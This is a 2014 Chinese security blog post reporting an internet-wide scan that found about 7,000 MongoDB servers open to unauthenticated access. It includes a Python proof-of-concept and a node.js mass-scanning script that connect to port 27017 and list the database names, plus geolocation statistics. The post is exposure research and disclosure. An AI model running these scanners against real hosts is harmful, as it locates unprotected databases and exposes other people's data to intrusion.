Mongodb未授權訪問漏洞全網探測報告
from:
Mongodb unauthorized access vulnerability global probing report
- Mongodb未授權訪問漏洞全網探測報告
[+] Author: f1,2,4 [+] Team: FF0000 TEAM < [+] From: HackerSoul < [+] Create: 2014-12-10
- Introduction
- Domain list
- Proof of Concept
- Scan results
- IP location
- Evil hackers
0. Introduction
Mongodb遭受到的攻擊型別比較少,在一些漏洞平臺所釋出的Mongodb漏洞都是一些未授權訪問。在烏雲上也有近100個這樣的案例(這只是一部分資料),於是我們便想探測下全世界的mongodb資料庫放在公網上的到底有多少個可以未授權訪問進資料庫去檢視資料呢?
Ohhhhh, it's crazy!
未授權訪問漏洞成因:Mongodb在啟動的時候提供了很多引數,如日誌記錄到哪個資料夾,是否開啟認證等。造成未授權訪問的根本原因就在於啟動Mongodb的時候未設定 --auth 也很少會有人會給資料庫新增上賬號密碼(預設空口令,它像一張白紙,需要管理員自己去塗寫賬號),使用預設空口令這將導致任何人無需進行賬號認證就可以登陸到資料伺服器。
1. Domain list
全球使用Mongodb的有多少呢?我們首先在SHODAN上進行了搜尋得到了57736的數值統計,隨後我們又在ZoomEye上進行了搜尋得到了53475的數值統計。現在我們陷入了一個尷尬,沒有辦法完全獲得他們庫中的資料,所以只能使用手中根據1.1.1.1~255.255.255.255 IP段進行反查的域名加已有IP來進行指紋探測,得到最終使用Mongodb的IP/域名,這是個難題。
我們將這些IP/域名列出後放到叢集便開始了指紋探測,最終我們拿到了近40000個IP列表,雖然比他們差了些但起碼也夠用了,有了這份列表我們終於就能夠輕鬆的進行後續的檢測了。
2. Proof of Concept
檢測指令碼我們就直接使用1024編寫的這個POC來進行檢測【】:
#!/usr/bin/env python # coding=utf-8 """ Site: Framework: """ import pymongo import urllib2 import urlparse from baseframe import BaseFrame class MyPoc(BaseFrame):
poc_info = { # poc相關資訊 'poc': { 'id': 'poc-2014-0194', 'name': 'Mongodb 配置不當導致未授權訪問漏洞 POC', 'author': '1024', 'create_date': '2014-12-10',
}, # 協議相關資訊 'protocol': { 'name': 'http', 'port': [28017], 'layer3_protocol': ['tcp'],
}, # 漏洞相關資訊 'vul': { 'app_name': 'Mongodb', 'vul_version': ['*'], 'type': 'Information Disclosure', 'tag': ['Mongodb資訊洩露漏洞', '預設空口令未授權訪問漏洞', '27017/28017埠'], 'desc': 'mongodb啟動時未加 --auth選項,導致無需認證即可連線mongodb資料庫,從而導致一系列安全問題。', 'references': ['N/A',
],
},
} @classmethod def verify(cls, args):
verify_url = args['options']['target']
ip_addr = urlparse.urlparse(verify_url).netloc if args['options']['verbose']: print '[*] Connect mongodb: ' + ip_addr + ':27017' try:
conn = pymongo.MongoClient(ip_addr, 27017, socketTimeoutMS=3000)
dbname = conn.database_names() if dbname:
args['success'] = True args['poc_ret']['vul_url'] = ip_addr + ':27017' args['poc_ret']['database_names'] = dbname except Exception, e: print str(e)
args['success'] = False return args return args
exploit = verify if __name__ == '__main__': from pprint import pprint
mp = MyPoc()
pprint(mp.run())
正當準備開始掃描的時候,F4說他寫好了node.js的POC指令碼並且已經開始了探測:
// Get url list var FilePath = ""; var lineread = require("line-reader"); var mongoose = require('mongoose'); function conn(host,callback){ var databaseUrl = 'mongodb://'+host; var options = { server: { socketOptions: { connectTimeoutMS: 4000 }}}; var db = mongoose.createConnection(databaseUrl, options);
db.on('error', function(error) { //console.log(error) db.close(); return;
});
db.once('open',function(){
callback(host);
})
db.close();
}
lineread.eachLine(FilePath, function(line) { if(String(line)){
conn(line,function(callback){ console.log("Success : "+callback);
});
}
}).then(function () { console.log(FilePath+" Read Done!");
});
提醒:之所以我們沒有使用28017埠進行探測漏洞是因為存在較高的誤報,所以POC直接採取了建立與目標mongodb資料庫的連線,判斷是否成功來進行檢測。
3. Scan results
目標列表從最初的幾千萬縮小到<40000對效率來說是非常有意義的,所以10分鐘後我們對這些目標已經完成了全部掃描,結果令我們驚訝:
[*] Start-date: 20141202-23:20 [*] End-date: 20141202-23:28 [*] Info [+] Target: 39818 [+] Success: 7071 [*] Done
在掃描的39,818個IP中,我們發現7,071個存在未授權訪問漏洞,這個比例高達:17.7%
4. IP location
在這39,818個IP中我們對其進行了去重,發現又減少了8,000多個,到最後的資料為:31,126。
為了能夠友好的展示出影響效果,我們把這31,126個IP地址進行了地理位置探測,指令碼:
#!/usr/bin/env python # coding=utf8 # author=f1#ff0000team import re import sys import json import requests reload(sys)
sys.setdefaultencoding('utf-8')
f_obj = open('./Port_27017','r')
f_content = f_obj.readlines() for i in f_content:
url = '%s' % i try:
page_content = requests.get(url).text.encode('utf8') except: continue json_data = json.loads(page_content)
ip = json_data['data']['ip'][:-1]
country = json_data['data']['country']
return_str = ip + ' --- ' + country + '\n' print return_str
output = open('./port27017_aliip.txt', 'a+')
output.write(return_str)
output.close()
為了能夠將這些資料方便的統計出來,F2編寫了py進行處理:
#!/usr/bin/env python2 # encoding:utf8 # author:f2#ff0000team # 去重 s = set()
fo1 = open('./port27017_aliip_1.txt', 'wb') for eachLine in open('port27017_aliip.txt', 'rbU'):
s.add(eachLine)
fo1.writelines(s) # 統計 d = {} for eachLine in s:
ip, country = eachLine.strip().split('---')
d[country] = d.get(country, 0) + 1 fo2 = open('port27017_aliip_2.txt', 'wb') for x in sorted(d.iteritems(), key=lambda i: i[1], reverse=True):
fo2.write(x[0]+'\t'+str(x[1])+'\n')
最終我們得到了這31,126個IP的國家統計資料:
- 美國 13496
- 德國 2513
- 中國 1663
- 俄羅斯 1317
- 荷蘭 1001
- 英國 732
- 法國 449
- 羅馬尼亞 360
- 加拿大 316
- 韓國 288
- 挪威 271
- 日本 256
- 瑞典 224
- 義大利 205
- 土耳其 200
- 其他
存在未授權訪問漏洞的國家統計資料:
- 美國 4184
- 德國 499
- 荷蘭 228
- 俄羅斯 211
- 英國 128
- 中國 120
- 法國 95
- 加拿大 93
- 韓國 60
- 其他
最終我們把他繪製成影像展示出來:
5. Evil hackers
面對著數以萬計對你敞開大門的伺服器,有些惡意攻擊者就坐不住了,我們透過在本機的簡單測試,發現能夠很輕鬆的連線資料庫並將資料遠端傳送到另外一臺伺服器上,以實現脫褲。
這樣想法的攻擊者會有很多,在之前的一些漏洞爆發後我們也見到過更加邪惡的駭客,他們最終被淪為金錢厲鬼。
最後,真摯的希望文章發出後能夠減少諸如此類漏洞的存在。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/26250550/viewspace-1364758/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- mongodb未授權訪問漏洞MongoDB
- Redis 未授權訪問漏洞利用Redis
- 【漏洞復現】Redis未授權訪問漏洞Redis
- 利用redis未授權訪問漏洞(windows版)RedisWindows
- 銘說 | Redis未授權訪問漏洞GetshellRedis
- Redis未授權訪問漏洞利用總結Redis
- 系統滲透漏洞の未授權訪問
- JBOSS未授權訪問
- Redis v6.0.5未授權訪問漏洞復現Redis
- Redis 未授權訪問漏洞(附Python指令碼)RedisPython指令碼
- Java安全漏洞:Druid未授權訪問解決JavaUI
- Linux sudo 漏洞可能導致未經授權的特權訪問Linux
- 利用CouchDB未授權訪問漏洞執行任意系統命令
- spark未授權RCE漏洞Spark
- 從零開始學習各種常見未授權訪問漏洞
- 多款Intel產品未授權訪問漏洞(CVE-2017-5689)Intel
- Druid未授權訪問實戰利用UI
- 基於Docker的MongoDB實現授權訪問DockerMongoDB
- Redis未授權漏洞復現Redis
- Etcd REST API 未授權訪問漏洞暴露 750MB 密碼和金鑰RESTAPI密碼
- 記一次特別的未授權訪問
- 【雲原生攻防研究】Istio訪問授權再曝高危漏洞
- SaltStack未授權訪問及命令執行漏洞分析(CVE-2020-16846/25592)
- 蘋果補上了可被未授權收集感測器資料的iPhone漏洞蘋果iPhone
- Redis 未授權訪問缺陷可輕易導致系統被黑Redis
- [BUG反饋]許可權管理 -> 訪問授權 點選後報錯
- mongoDB 3.0 安全許可權訪問MongoDB
- MySQL建立使用者授權訪問MySql
- 配置apache授權訪問目錄(轉)Apache
- Hadoop Yarn REST API未授權漏洞利用挖礦分析HadoopYarnRESTAPI
- CVE-2021-45232 Apache APISIX 從未授權訪問到RCEApacheAPI
- Tomcat報錯 主機未授權已到期!Tomcat
- mysql8.0授權root遠端訪問MySql
- Flipboard 資料庫未經授權訪問使用者賬號密碼洩露資料庫密碼
- 報告:挑戰授權買家的神話
- HTTP 錯誤401.1 - 未經授權:訪問由於憑據無效被拒絕HTTP
- [BUG反饋]分類授權漏洞
- Oracle建立表空間、建立使用者、授權、授權物件的訪問以及檢視許可權集合Oracle物件